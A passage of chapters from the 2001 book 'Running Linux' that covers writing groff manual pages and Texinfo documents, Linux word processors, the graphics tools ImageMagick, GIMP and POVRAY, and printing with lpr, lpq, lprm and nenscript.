On lines 27-28, the SEE ALSO section is given, which provides cross references to other manual pages of note. Notice that the string "SEE ALSO" following the .SH request on line 27 is in quotation marks; this is because .SH uses the first whitespace-delimited argument as the section title. Therefore any section titles that are more than one word need to be enclosed in quotation marks to make up a single argument. Finally, on lines 29-30, the BUGS section is presented.

9.3.2.2. Formatting and installing the manual page

In order to format this manual page and view it on your screen, use the command:

eggplant$ groff -Tascii -man coffee.man | more
The -Tascii option tells groff to produce plain-ASCII output; -man tells groff to use the manual-page macro set. If all goes well, the manual page should be displayed as:
COFFEE(1)                                               COFFEE(1)

NAME
       coffee - Control remote coffee machine

SYNOPSIS
       coffee [ -h | -b ] [ -t type ] amount

DESCRIPTION
       coffee  queues  a  request to the remote coffee machine at
       the device /dev/cf0. The required amount  argument  speci-
       fies the number of cups, generally between 0 and 12 on ISO
       standard coffee machines.

   Options
       -h     Brew hot coffee. Cold is the default.

       -b     Burn coffee. Especially useful when executing  cof-
              fee on behalf of your boss.

       -t type
              Specify  the  type of coffee to brew, where type is
              one of colombian, regular, or decaf.

FILES
       /dev/cf0
              The remote coffee machine device

SEE ALSO
       milk(5), sugar(5)

BUGS
       May  require  human  intervention  if  coffee  supply   is
       exhausted.

As mentioned before, groff is capable of producing other types of output. Using the -Tps option in place of -Tascii produces PostScript output that you can save to a file, view with Ghostview, or print on a PostScript printer. -Tdvi produces device-independent .dvi output similar to that produced by TeX.

If you wish to make the manual page available for others to view on your system, you need to install the groff source in a directory that is present on the users' MANPATH. The location for standard manual pages is /usr/man. The source for section 1 manual pages should therefore go in /usr/man/man1. The command:

eggplant$ cp coffee.man /usr/man/man1/coffee.1
installs this manual page in /usr/man for all to use (note the use of the .1 filename extension, instead of .man). When man coffee is subsequently invoked, the manual page will be automatically reformatted, and the viewable text saved in /usr/man/cat1/coffee.1.gz.

If you can't copy manual page sources directly to /usr/man, you can create your own manual page directory tree and add it to your MANPATH. See the section "Section 4.12, "Manual Pages"" in Chapter 4, "Basic Unix Commands and Concepts".

9.3.3. Texinfo

Texinfo is a text-formatting system used by the GNU project to produce both online documentation in the form of hypertext Info pages, and printed manuals through TeX from a single-source file. By providing Texinfo source, users can convert the documentation to Info files, HTML, DVI, PostScript, PDF or plain text.

Texinfo is documented completely through its own Info pages, which are readable within Emacs (using the C-h i command) or a separate Info reader, such as info. If the GNU Info pages are installed in your system, complete Texinfo documentation is contained therein. Just as you'll find yourself using groff to write a manual page, you'll use Texinfo to write an Info document.

9.3.3.1. Writing the Texinfo source

In this section, we're going to present a simple Texinfo source file--chunks at a time--and describe what each chunk does as we go along.

Our Texinfo source file will be called vacuum.texi. As usual, you can enter the source using a plain-text editor:

\input texinfo @c -*-texinfo-*-
@c %**start of header
@setfilename vacuum.info
@settitle The Empty Info File
@setchapternewpage odd
@c %**end of header
This is the header of the Texinfo source. The first line is a TeX command used to input the Texinfo macros when producing printed documentation. Commands in Texinfo begin with the at-sign, @. The @c command begins a comment; here, the comment -*-texinfo-*- is a tag that tells Emacs this is a Texinfo source file, so that Emacs can set the proper major mode. (Major modes were discussed earlier, in the section "Section 9.2.8, "Tailoring Emacs".")

The comments @c %**start of header and @c %**end of header are used to denote the Texinfo header. This is required if you wish to format just a portion of the Texinfo file. The @setfilename command specifies the filename to use for the resulting Info file, @settitle sets the title of the document, and @setchapternewpage odd tells Texinfo to start new chapters on an odd-numbered page. These are just cookbook routines that should be used for all Texinfo files.

The next section of the source file sets up the title page, which is used when formatting the document using TeX. These commands should be self-explanatory:

@titlepage
@title Vacuum
@subtitle The Empty Info File
@author by Tab U. Larasa
@end titlepage

Now we move on to the body of the Texinfo source. The Info file is divided into nodes, where each node is somewhat like a "page" in the document. Each node has links to the next, previous, and parent nodes, and can be linked to other nodes as cross references. You can think of each node as a chapter or section within the document with a menu to nodes below it. For example, a chapter-level node has a menu that lists the sections within the chapter. Each section node points to the chapter-level node as its parent. Each section also points to the previous and next section, if they exist. This is a little complicated, but will become clear when you see it in action.

Each node is given a short name. The topmost node is called Top. The @node command is used to start a node; it takes as arguments the node name, the name of the next node, the previous node, and the parent node. As noted earlier, the next and previous nodes should be nodes on the same hierarchical level. The parent node is the node above the current one in the node tree (e.g., the parent of Section 2.1 in a document is Chapter 2). A sample node hierarchy is depicted in Figure 9-2.

Figure 9-2. Hierarchy of nodes in Texinfo

Here is the source for the Top node:

@c    Node, Next, Previous, Up
@node Top ,     ,         , (dir)

@ifinfo
This Info file is a close approximation to a vacuum. It documents
absolutely nothing.
@end ifinfo

@menu
* Overview::              Overview of Vacuum
* Invoking::              How to use the Vacuum
* Concept Index::         Index of concepts
@end menu

The @node command is preceded by a comment to remind us of the order of the arguments to @node. Here, Top has no previous or next node, so they are left blank. The parent node for Top is (dir), which denotes the systemwide Info page directory. Supposedly your Info file will be linked into the system's Info page tree, so you want the Top node to have a link back to the overall directory.

Following the @node command is an abstract for the overall document, enclosed in an @ifinfo…@end ifinfo pair. These commands are used because the actual text of the Top node should appear only in the Info file, not the TeX-generated printed document.

The @menu…@end menu commands demarcate the node's menu. Each menu entry includes a node name followed by a short description of the node. In this case, the menu points to the nodes Overview, Invoking, and Concept Index, the source for which appears later in the file. These three nodes are the three "chapters" in our document.

We continue with the Overview node, which is the first "chapter":

@c    Node,     Next,    Previous, Up
@node Overview, Invoking,        , Top
@chapter Overview of @code{vacuum}

@cindex Nothingness
@cindex Overview
@cindex Vacuum cleaners

A @code{vacuum} is a space entirely devoid of all matter. That means no
air, no empty beer cans, no dust, no nothing. Vacuums are usually found

in outer space. A vacuum cleaner is a device used to clean a vacuum.
See @xref{Invoking} for information on running @code{vacuum}.
The next node for Overview is Invoking, which is the second "chapter" node and also the node to appear after Overview in the menu. Note that you can use just about any structure for your Texinfo documents; however, it is often useful to organize them so that nodes resemble chapters, sections, subsections, and so forth. It's up to you.

The @chapter command begins a chapter, which has effect only when formatting the source with TeX. Similarly, the @section and @subsection commands begin (you guessed it) sections and subsections in the resulting TeX document. The chapter (or section or subsection) name can be more descriptive than the brief name used for the node itself.

You'll notice that the @code… command is used in the chapter name. This is just one way to specify text to be emphasized in some way. @code should be used for the names of commands, as well as source code that appears in a program. This causes the text within the @code… to be printed in constant-width type in the TeX output, and enclosed in quotes (like `this') in the Info file.

Following this are three @cindex commands, which produce entries in the concept index at the end of the document. After this appears the actual text of the node. Again, @code marks the name of the vacuum "command."

The @xref command produces a cross reference to another node, which the reader can follow with the f command in the Info reader. @xref can also make cross references between other Texinfo documents. See the Texinfo documentation for a complete discussion.

Our next node is Invoking:

@node Invoking, Concept Index, Overview, Top
@chapter Running @code{vacuum}

@cindex Running @code{vacuum}
@code{vacuum} is executed as follows:

@example
vacuum @var{options} @dots{}
@end example
Here, @example…@end example sets off an example. Within the example, @var denotes a metavariable, a placeholder for a string provided by the user (in this case, the options given to the vacuum command). @dots{} produces an ellipsis. The example will appear as:
vacuum options …
in the TeX-formatted document, and as:
vacuum OPTIONS ...
in the Info file. Commands such as @code and @var provide emphasis that can be represented in different ways in the TeX and Info outputs.

Continuing the Invoking node, we have:

@cindex Options
@cindex Arguments
The following options are supported:

@cindex Getting help
@table @samp
@item -help
Print a summary of options.

@item -version
Print the version number for @code{vacuum}.

@cindex Empty vacuums
@item -empty
Produce a particularly empty vacuum. This is the default.
@end table
Here, we have a table of the options vacuum supposedly supports. The command @table @samp begins a two-column table (which ends up looking more like a tagged list), where each item is emphasized using the @samp command. @samp is similar to @code and @var, except that it's meant to be used for literal input, such as command-line options.

A normal Texinfo document would contain nodes for examples, information on reporting bugs, and much more, but for brevity we're going to wrap up this example with the final node, Concept Index. This is an index of concepts presented in the document and is produced automatically with the @printindex command:

@node Concept Index, , Invoking, Top
@unnumbered Concept Index

@printindex cp
Here, @printindex cp tells the formatter to include the concept index at this point. There are other types of indices as well, such as a function index, command index, and so forth. All are generated with variants on the @cindex and @printindex commands.

The final three lines of our Texinfo source are:

@shortcontents
@contents
@bye
This instructs the formatter to produce a "summary" table of contents (@shortcontents), a full table of contents (@contents), and to end formatting (@bye). @shortcontents produces a brief table of contents that lists only chapters and appendices. In reality, only long manuals would require @shortcontents in addition to @contents.

9.3.3.2. Formatting Texinfo

To produce an Info file from the Texinfo source, use the makeinfo command. (This command, along with the other programs used to process Texinfo, are included in the Texinfo software distribution, which is sometimes bundled with Emacs.) The command:

eggplant$ makeinfo vacuum.texi
produces vacuum.info from vacuum.texi. makeinfo uses the output filename specified by the @setfilename in the source; you can change this using the -o option.

If the resulting Info file is large, makeinfo splits it into a series of files named vacuum.info-1, vacuum.info-2, and so on, where vacuum.info will be the top-level file that points to the various split files. As long as all of the vacuum.info files are in the same directory, the Info reader should be able to find them.

You can also use the Emacs commands M-x makeinfo-region and M-x makeinfo-buffer to generate Info from the Texinfo source.

The Info file can now be viewed from within Emacs, using the C-h i command. Within Emacs Info mode, you'll need to use the g command and specify the complete path to your Info file, as in:

Goto node: (/home/loomer/mdw/info/vacuum.info)Top
This is because Emacs usually looks for Info files only within its own Info directory (which may be /usr/local/emacs/info on your system).

Another alternative is to use the Emacs-independent Info reader, info. The command:

eggplant$ info -f vacuum.info
invokes info, reading your new Info file.

If you wish to install the new Info page for all users on your system, you must add a link to it in the dir file in the Emacs info directory. The Texinfo documentation describes how to do this in detail.

To produce a printed document from the source, you need to have TeX installed on your system. The Texinfo software comes with a TeX macro file, texinfo.tex, which includes all of the macros used by Texinfo for TeX formatting. If installed correctly, texinfo.tex should be in the TeX inputs directory on your system where TeX can find it. If not, you can copy texinfo.tex to the directory where your Texinfo files reside.

First, process the Texinfo file using TeX:

eggplant$ tex vacuum.texi
This produces a slew of files in your directory, some of which are associated with TeX, others to generate the index. The texindex command (which is included in the Texinfo package) reformats the index into something TeX can use. The next command to issue is therefore:
eggplant$ texindex vacuum.??
Using the ?? wildcard runs texindex on all files in the directory with two-letter extensions; these are the files produced by Texinfo for generating the index.

Finally, you need to reformat the Texinfo file using TeX, which clears up cross references and includes the index:

eggplant$ tex vacuum.texi
This should leave you with vacuum.dvi, a device-independent file you can now view with xdvi or convert into something printable. See the section "TeX and LaTeX" earlier in the chapter for a discussion of how to print .dvi files.

As usual, there's much more to learn about this system. Texinfo has a complete set of Info pages of its own, which should be available in your Info reader. Or, now that you know the basics, you could format the Texinfo documentation sources yourself using TeX. The .texi sources for the Texinfo documentation are found in the Texinfo source distribution.

9.3.4. Word Processors

If you insist on a popular WYSIWYG word-processing system, there are now quite a number of options available. Lately, it was even rumoured that Microsoft is going to port their office suite to Linux, but whether this is true remains to be seen. A Microsoft suite is not really needed any longer anyway, because you can get quite good word processors.

One of the most powerful and popular word processors in the United States, Corel WordPerfect, has been ported and is available from its current owner, Corel Inc. (see Figure 9-3). Many people have grown to like WordPerfect and will be delighted to hear that their word processor of choice is available for Linux.

Figure 9-3. WordPerfect for Linux

Figure 9-4. ApplixWare for Linux

Another option is to use ApplixWare by Applix, Inc. ApplixWare is an office suite that is commercially made but inexpensive for Linux. It includes not only a word processor, but also a spreadsheet, a drawing program, a mail program, and other smaller tools. In some respects, ApplixWare behaves differently from word processors like Microsoft Word or WordPerfect, but once you get used to it, it can be quite useful and handy. Especially noteworthy is its support for importing and exporting FrameMaker documents.

The German software company Star Division is making its office productivity suite StarOffice available for free for private use on all supported platforms (which include Linux, Solaris, Windows, OS/2, and the Macintosh). If you don't mind the annoying registration procedure and the long download, you can get StarOffice from the Star Division web site at http://www.stardivision.com. SuSE Linux and Caldera OpenLinux already include StarOffice, so you can avoid the massive download if you already have a SuSE or Caldera distribution.

All those programs have one feature in common that many consider a key requirement for doing office-type work on Linux: they can import Microsoft Word documents quite well. While you may well decide, as a new Linux enthusiast, that you won't accept documents sent to you in proprietary formats, sometimes they come from your boss, and you can't refuse to read them just because you are running Linux. In this case, it is good to know that there are Linux-based solutions available.

The LyX package (also available as KLyX with a more modern user interface) is another alternative. It provides a decent WYSIWYG X user interface that works with window managers from standard Linux distributions and uses the LaTeX and TeX packages in order to format the text for printing. If you can live with the formatting limits of the LaTeX package (most of us can), you may find that LyX/KLyX is an excellent solution. LyX/KLyX does not know how to display some of the powerful formatting features that TeX provides, so if you are a TeX power user, this isn't for you. LyX/KLyX isn't part of most Linux distributions; to try it you will have to get it from a Linux archive.

Previous | Home | Next
9.2. The Emacs Editor | Book Index | 9.4. Graphics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Graphics (Running Linux)

 Running LinuxSearch this book
Previous Next

9.4. Graphics

Many people are fascinated by computer graphics. Computers are being used to create photo-realistic images of surreal scenes or fractally generated images of mountain ridges with lakes and valleys; to change images by bending, polishing, aging them; or to make any other manipulations.

Linux does not need to step shyly aside when it comes to graphics. It can do just about anything that other computing environments can do, and in some areas, like dealing with many graphics files at the same time, it even excels. The X Window System, described in the next chapter, forms a very good base for bitmapped graphics, while hardware support will eventually arrive for 3D graphics conforming to the OpenGL standard.

However, working with graphics on Linux is often different from what you might be used to from other operating systems; the Unix model of small, interoperating tools is in effect here, too. This philosophy is be illustrated most clearly with the suite of graphics manipulation programs ImageMagick that we will describe here. ImageMagick is a collection of tools that operate on graphics files and are started from the command line or from shell scripts. Imagine that you have two thousand files of one file format that you want to reduce to 256 colors, slant, and convert to another file format. On Linux, this is only a few lines in a shell script. Now imagine doing this on Windows: Click on the File menu, click on the Open menu entry, select a file, select an operation, specify the parameters for the operation in a dialog, click OK, choose save from the menu, select a filename, and then click OK. Now repeat for next 1999 files. Can you say RSI?[39]

[39]Repetitive Strain Injury--a malady that comes from typing too much. The better-known carpal tunnel syndrome is one form of RSI.

Graphics can not only be drawn but also programmed. There are tools like the ray-tracer POVRAY presented in this chapter where you specify the graphics to be generated by a suite of commands, often in a full-blown graphics-programming language. While this is perhaps more difficult than drawing the desired graphics with the mouse, it is also infinitely more flexible once you have mastered how to use it.

Now, not everybody wants to work with graphics from the command line. Part of the appeal of working with computer graphics is the immediate feedback when working with graphics programs, and Linux can provide these, too, even though those programs are currently in the minority on Linux (and perhaps will continue to be).

In this section, we will talk about some of the options for using and working with graphics on your Linux system. Most of the programs discussed here require the X Window System, which we'll show you how to install and configure in later chapters.

The programs we are covering here are:

ImageMagick

A number of command-line tools for image manipulation

GIMP

A graphical image manipulation program

POVRAY

A famous ray-tracer

There are many more graphics programs available for Linux, including 3D modelers and video players. Scouring some Linux archives will reveal a wealth of good software to you.

9.4.1. ImageMagick

ImageMagick is a suite of programs that convert and manipulate graphics files from the command line. It is also well suited for batch conversions, that is, converting many files at once. In addition, ImageMagick includes PerlMagick, a binding that lets you invoke the ImageMagick utilities from the Perl programming language. It comes with most Linux distributions; if yours does not have it, you can get it from ftp://ftp.x.org/contrib/applications/ImageMagick.

ImageMagick consists of a library and a number of utilities:

display

display is a graphical frontend to many of the functions provided by ImageMagick. It is very useful if you want to experiment with the effects of a function before you go and batch-convert hundreds of images with these effects. display can load many different graphics file formats and display them on the X Window System. You can start display and pass it one or more filenames on the command line, or load a file from the menu provided. If you have started display and do not see a menu, click the image displayed with the left mouse button. Figure 9-4 shows display in action. display features a huge number of command-line switches. See the manual page for details.

Figure 9-4. ImageMagick in action

import

import is a small program to capture either one window or the whole server into a file; that is, it allows you to make screenshots. For example, to make a screenshot of your whole screen and save it as myscreen.xpm in the graphics file format XPM, you would execute:

tigger$ import -window root myscreen.xpm

When you hear the first beep, the screen capture begins, and when the second one sounds, capturing is finished and the image data is in the process of being saved to the file you specified.

If you want to capture the contents of only one window, the easiest way is to start import without the -window option:

tigger$ import mywindow.xpm

The cursor then turns into a crossbar, which prompts you to click on any window. This window's contents are then captured and saved to the specified file.

Like all ImageMagick programs, import has many command-line options; check the manual page.

montage

montage is a very useful little tool with a functionality rarely found elsewhere. It takes a number of images and puts them together as one large image in a tiled manner. There are lots of options for changing how the images are exactly tiled and put together.

In order to tile all your JPEG images in the current directory and create the image all.jpg out of it, you could call:

tigger$ montage *.jpg all.jpg

By default, there will be a label with the filename below each image. You can remove this by saying:

tigger$ montage +frame *.jpg all.jpg
convert

In a way, convert is the heart of the ImageMagick suite. It convert an amazing number of graphics formats. For example, let's assume that you want to port a GUI program from Windows to Linux. You have a large number of toolbar icons in Windows BMP format and want to convert those to XPM. This could be done with:

for i in *.bmp
do
convert $i xpm:'basename $i .bmp'.xpm
done

convert will happily chug through all the images and convert them. If you want to do other things to the images, just add the necessary switches, e.g., -despeckle for removing speckles from the images.

mogrify

mogrify is like convert, but it overwrites the original images and is meant more for applying filter functions than for converting file formats (even though you can easily change the file format by using the switch -format).

identify

identify outputs information about the images passed on the command line. For example:

tigger$ identify tux.gif
tux.gif 257x303+0+0 DirectClass 10968b GIF 1s

This tells you, among other things, that tux.gif is a GIF file 257 pixels wide and 303 pixels high. If this is not enough information for you, try the -verbose switch!

combine

As its name indicates, combine combines several images into one. You can for example put color-separated images together or put a logo on top of a larger image.

xtp

Like the ftp program, xtp downloads files from a remote site or uploads them to a remote site. But unlike ftp, it does not need interactive input (in order to get this with ftp, you would have to edit its configuration file). xtp can be very favorably combined with the other tools from ImageMagick suite to automatically manipulate images on remote servers.

To sum up, the programs from the ImageMagick suite are an extremely versatile means to manipulate graphics files. It takes some time to familiarize yourself with all the command-line options in order to know what is available.

9.4.2. The GIMP

The GIMP (which expands to either GNU Image Manipulation Program or General Image Manipulation Program and is often written with the definite article) specializes in image-manipulation like the ImageMagick package described in the last section. But while ImageMagick's strength is batch processing, GIMP does everything via its GUI. The GIMP is often cited as one of the most impressive and successful products for Linux (and other Unix versions). People who use image-manipulation programs professionally have said that while GIMP can feel a little bit awkward to use, it is functionally comparable to its commercial competitor from the Windows and Macintosh world, Adobe Photoshop. Some people even have called it "the free alternative to Photoshop."

GIMP draws its power from an amazing number of plug-ins that are available for it. Thus, in order to be able to use a newly written image manipulation filter or file format import filter, you only need to install the plug-in, restart GIMP, and you are ready to go.

In addition, GIMP uses a clever tiling mechanism that allows you to load arbitrarily large images into it; GIMP will keep in memory only the part that is currently being used or visible. And if these features are not enough, GIMP also has its own scripting language called script-fu.

GIMP comes with most Linux distributions on the market today and can be run simply by entering the command gimp in a shell after starting X. If your distribution does not have GIMP, you can get the source code from www.gimp.org. If you plan to do more work with GIMP, you should check this web site anyway, because it also contains the documentation and sample images that show off what you can do with GIMP. A screenshot showing the toolbar, dialog boxes, and a work area is shown in Figure 9-5.

Figure 9-5. The Gimp

9.4.3. POVRAY

While ImageMagick and GIMP are mainly for manipulating existing images, POVRAY (the first three letters stand for "Persistence Of Vision") is a program for automatically creating new images. It is a so-called ray-tracer; a program that computes a scene from some information about which objects should be in the scene, what their physical and optical properties are, where the light is coming from, and where the spectator is standing. You describe this to POVRAY in a programming language of its own.

This brief description should already indicate that using POVRAY is not something you learn in one afternoon. If you are interested in this program, you can download it from http://www.povray.org, which is also the first source for all kind of POVRAY resources like sample files, documentation, and so on. Since we could not give you even a crash course into using POVRAY here, we'll refrain from attempting this futile task.

Previous | Home | Next
9.3. Text and Document Processing | Book Index | 9.5. Printing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Printing (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

9.5. Printing

The lpr command prints a document on Linux. You might not always invoke this command directly--you may just press a Print button on some glitzy drag-and-drop graphical interface--but ultimately, printing is handled by lpr and the other print-management utilities we'll describe here.

If you want to print a program listing, you might enter:

lpr myprogram.c

Input is also often piped to lpr from another command, as we will see later. lpr starts the printing process by storing the data temporarily to a directory called a print spool. Other parts of the print management system, which we showed you how to set up in the section "Section 8.4, "Managing Print Services"" in Chapter 8, "Other Administrative Tasks", remove files from the print queue in the correct order, process the file for printing, and control the flow of data to the printer.

There is at least one print spool for each printer on the system.[40] By default, lpr looks for a printer named lp. But if you need to specify a printer of a different name, just include a -P option.

[40]A printer that can be used in different modes of operation, such as for printing faxes as well as letters, may have a separate print spool for each purpose.

For example, to send your document to a printer named nene, enter:

lpr -Pnene myprogram.c
 If you forget the name of a printer, you can look at the names of the spool directories under the /var/spool/lpd directory or at the /etc/printcap file entries to see all the names recognized for each printer.

If you want to use a particular printer for most of your printing needs, you can also set it in the PRINTER environment variable. So, assuming that you are using the bash shell, you could make nene your personal default printer by putting this command in your .bashrc file:

export PRINTER=nene
The -P option in lpr overrides the PRINTER variable.

Once you know how to print a file, the next problem you might face is finding out what is happening if your file doesn't instantly print as you expect. You can find out the status of files in the print queue by using the lpq command. To find out the status of files sent to your default printer (the PRINTER environment variable applies to all the commands discussed in this section), enter:

$ lpq
nene is ready and printing
Rank   Owner      Job  Files                                 Total Size
active lovelace   020  (standard input)                     776708 bytes
1st    parcifal   024  (standard input)                    2297842 bytes
1st    lark       023  (standard input)                      10411 bytes

You see that the printer is running, but there are large jobs queued ahead of yours (if you are lark). If you just can't wait, you might decide to remove the job from the print queue. You can use the job number of the printing task that lpq reported to remove the printing job:

$ lprm 23
023 dequeued
023 dequeued
The spooled print file identified as job 023 is discarded, along with an associated file that contains instructions for formatting the file.

You can narrow the lpq report by asking about a specific print job by task ID (rarely used), by printer, or by user ID. For example, to get a report that identifies spooled files sent to a printer named ada you would enter:

$ lpq ada
ada is ready and printing
Rank   Owner      Job  Files                                 Total Size
active lovelace   788  standard input                        16713 bytes
1st    lark       796  standard input                        70750 bytes

If you are the root user, you can kill all pending printing tasks by entering the command:

lprm -
If you are not the root user, issuing that command kills only the printing tasks you own. This restriction also holds true if you specify a printer:
lprm ada
If you are root, the ada print queue is emptied. If you are a normal user, only the print files you own are removed from the specified print spool. The lprm utility reports on the tasks it kills.

The root user can kill all the print tasks issued by any user, by specifying:

lprm username

If you issue lprm with no argument, it deletes the currently active print jobs that you own. This is equivalent to entering:

lprm yourusername

If you want to see whether a printer is down, you can use the lpc command:

/usr/sbin/lpc status ada
See the section "Section 8.4.12, "Controlling Printer Services with lpc"" in Chapter 8, "Other Administrative Tasks" for details. The lpc utility is usually installed in the /sbin or /usr/sbin directory.

Now for some more examples of common printing tasks and filters you can use.

To get a quick hardcopy printout of the printcap manual page, enter:

man printcap | col -b | lpr
The man command finds, formats, and outputs the printcap manual page in an enriched ASCII output that uses backspaces to overstrike and underline characters (in place of italics) for highlighting. The output is piped through col, a Unix text filter, where -b specifies stripping the "backspace" instructions embedded in the man page which results in simple text strings, still maintaining the layout of the formatted man page. The output of col is piped to lpr, which spools the text in a spool directory.

If you want to simulate underlining, you could instead use a filter designed originally for formatting print to a text display:

man printcap | colcrt | lpr

Suppose you want to print the fully enriched man page with highlighting and all. You might use a command like this:

groff -man -Tps /usr/man/man5/printcap.5 | lpr
 The groff command applies the man macros to the file specified, creating PostScript output (specified by -Tps); output is passed to lpr, which spools it, and lpd applies the default print-processing instructions from the /etc/printcap file.

Most Linux installations use BSD-style print utilities developed for the Berkeley Software Distribution of Unix. If you find utilities named lp, lpstat, cancel, and lpadmin, your Linux host has a System V-based print system. You need to read the manual pages and perhaps other documentation for that package. There are other printing systems that could be installed on your system, such as the PLP package, but we only document the usual Linux BSD-based print-management utilities here. We also describe how to use some of the other commonly installed print support utilities for Linux, such as filters that prepare documents in special ways to print on your printers.

The BSD-style print-management system is traditionally called "lp" after the line printers that were the standard print devices of the era in which the package was developed.[41] In the Linux community, the BSD print management package is more commonly usually called "the lpr package." Of course, the lpr command is only one tool in the package.

[41]Don't be misled if you hear someone use the term lp, which is a confusing misnomer. There is no lp utility in the BSD print-management package, but there is one in the later-developed System V print package. It is still possible that your BSD package allows you to use an lp command in order to print, though. Some systems use a shell script (filter) named lp to convert lp command options into lpr command options, and pass them on to lpr. This is solely for the convenience of users that are familiar with the System V lp command.

9.5.1. What Happens to a File After It's Put on the Queue

Only the root user has the ability to access printers directly, without using the printing system. (That's not a wise thing to do, by the way.) Linux doesn't grant system users the ability to address various physical devices directly, because crippling conflicts could result, and also because it's just too much work for them to bother with. Instead, utilities call background system processes to schedule your printing among other tasks, convert source file data to print to a specific printer using its printer language and protocols, set print resolution and format the pages, and add (or know not to add) header and footer data and page numbering. Linux configures itself to handle its physical devices when it is booted, including setting up ports and protocols to handle printing.

The print-management system is controlled by lpd, the "line printer daemon," which has necessary privileges to access printers for you. Once the print management system is installed, lpd is started every time the Linux system is initialized (booted). The /etc/printcap file provides the control information lpd needs to manage the files you print.

Here's what the printer-management system is actually doing when you enter a printing command. When called, lpr checks whether you have a PRINTER environment variable set. If you do, lpr loads the print options stored there as instructions to process the print file it is receiving. Next, lpr applies any option parameters you gave it or that are passed to it by a program that preprocessed the file. Last, lpr sends the file to the spool directory for the printer that will be used, along with another temporary file that stores the processing specifications for lpd to apply. Then lpr notifies lpd that there is a print file spooled. If lpr receives an option it doesn't understand, it passes the option on to the print filter, which we'll discuss shortly.

When lpd finds a job in the print spool, it reads the processing specifications (which tell it how to pass the print file through filters and direct the output to a device) and completes the printing task, erasing the print file and processing file when the printer has received all of the processed print file.

All Unix printing systems process a file through at least one filter to prepare it for output. This filter processes the file using any of the usual options that Unix print utilities pass to it.

Appropriate filters are set up by the administrator and specified in the printcap file to meet your usual printing needs. If you want to do any special processing, you give your processing instructions as options to the print commands. Your instructions enter the printer management system through the lpr command (directly on the command line or passed indirectly by some other command). The lpr command spools the print file in the correct print spool directory and stores the related processing instructions in an associated file in the same print spool.

When it is time to print your file, the lpd daemon reads any special processing directions for the print file, which may override default processing directions set in the /etc/printcap file. When lpd passes your file to the correct filter for the printer you are using, it also passes along any instructions it did not act on. The filter then further processes the file itself according to the instructions or calls yet other filters to perform the processing it could not. The file is then passed on to the printer by lpd. You can see that this hidden filter provides most actual control of print formatting.

If you have special printing requirements, you need to learn the options to pass to the filter that control print formatting. The standard options are discussed in the lpr manual page. Additional filter options are documented in the filter package that is used. Later we discuss a couple of filters that are probably on your system. We can't possibly describe how to use all the filters and filter packages available to you for use with Linux. You should read the manual pages for the filters on your system to learn how to get the output you want.

A well-configured printcap file uses the printer's name to determine what kind of filtering to apply. For example, if your printer can automatically format and print an HTML (World Wide Web) document, you may be able to tell lpr to print to the html printer:

lpr -Phtml ~/homepage.html
This printer could actually be the same printer you use for PostScript, for example, but by specifying a printer named html you cause lpd to use a different printcap definition that processes the file through an HTML filter into a graphic format the printer understands.

Since the system administrator controls the contents of /etc/printcap, you are not at liberty to simply exchange one filtering process for another. You do have a lot of control on the command line and through environment variables that affect your typesetting tools, filter parameters, and printer selection. When necessary, you can filter files before submitting them to the printer management system. For example, if you receive email with an attached graphic that you cannot display or print, you might save the file to disk and then use one of the many graphic conversion utilities available for Linux to convert it (filter it) into a printable form, before passing the file to lpr.

Much depends on the cleverness of the filter. If an option is passed through lpr and the filter but is never interpreted, it may end up passed through to the printer, either before or after the actual print file. This may have no effect. In some cases, a printer configuration command is deliberately passed to the printer this way. More typically a passed option prints extra pages, probably with stray characters on them; usually this is harmless. If you observe such behavior, make sure you aren't causing the problem yourself with environment variables, badly formed commands, or unsupported options. If it wasn't your fault, the administrator should try to trace the problem to save paper and time.

Some filters automatically apply the PRINTER environment variable if you set it. You should know that the equivalent printer variable for a System V print system is LPDEST, and some print filters you acquire may expect or accept that variable. You may even work on a mixed network with accounts on different systems where one uses BSD print management and another uses System V. If you are a belt-and-suspenders kind of person, you can set both LPDEST and PRINTER in your shell initialization file.

Problems using a print filter may affect other users on a multiuser system. Report any difficulties to the print-system administrator.

9.5.2. nenscript

The nenscript utility is a flexible filter that provides good formatted output for PostScript printers, even from ASCII text files. It isn't a basic Linux utility, but it is included in a number of Linux distributions and can be retrieved from the usual Linux FTP sites. While you can invoke nenscript to send a prepared file to the printer, it usually is specified in the /etc/printcap file as a pass-through filter that takes text from the standard input and sends it to the standard output.

Suppose you are printing out a C program and want line numbering and a printout on green-striped fanfold paper (not the same format you'd want when printing those graphics you downloaded from the Internet on your nifty PostScript printer). You need to have the program processed, and then insert the line numbers in front of the lines. The solution is to process the file through a filter such as the nenscript utility (if you have it installed). After doing its own processing, nenscript passes the file to lpr for spooling and printing to your trusty tractor-feed printer (named dino here):

nenscript -B -L66 -N -Pdino myprogram.c

The nenscript filter numbers each line of the file passed through it when you specify the -N option. The -B option suppresses the usual header information from being printed on each page, and the -L66 option specifies formatting at 66 lines per page. The nenscript filter just passes the -Pdino option through to lpr, which interprets it and directs the output to dino's print spool directory for printing.

When called on the command line, nenscript automatically passes output to lpr unless you specify standard output by supplying the -p option. You don't need to pipe or redirect nenscript output to lpr explicitly.[42]

[42]The nenscript utility could also be the usual filter that the printcap file specifies for use with your printer. It won't hurt for the file to go through a properly designed filter more than once. A filter passes a processing instruction on only when it does not perform the processing itself. As a filter executes an instruction, it discards the processing option. You needn't worry that your file will end up with two sets of line numbers on the page.

Suppose you are going to print a lot of program listings today. For convenience, you can set an environment variable for nenscript to specially process and print your listings each time:

export NENSCRIPT=" -B -L66 -N -Pdino"
Now, to print your listing correctly, all you need enter is:
nenscript myprogram.c

nenscript optionally sends output to a file, which is often useful for preparing PostScript files on Linux hosts that don't actually have a PostScript printer available. For example, to convert a text file to a PostScript file, formatted for two-column printing on A4 pages in 6-point Courier font, for instance, you would type:

nenscript -2 -fCourier6 -TA4 -pdocument.ps document.txt

The -2 option overrides the one-column default, and the -fCourier6 option overrides the 7-point Courier default for two-column output. (The one-column default is Courier10; nenscript always uses Courier font when converting plain text into PostScript.) The -TA4 argument specifies European standard A4 paper format. If nenscript was compiled using the US_VERSION variable, the default paper format is 8.5 x 11 inches (if you're not using the US_VERSION environment variable, you can specify this size through -TUS). The -p option specifies that the output should be stored to document.ps, and the filename specified with no option is the input to nenscript. If no filename had been specified, nenscript would have taken standard input as the filename.

As another example, to print the nenscript manual page as basic text on a PostScript printer, enter:

man nenscript | col -b | nenscript

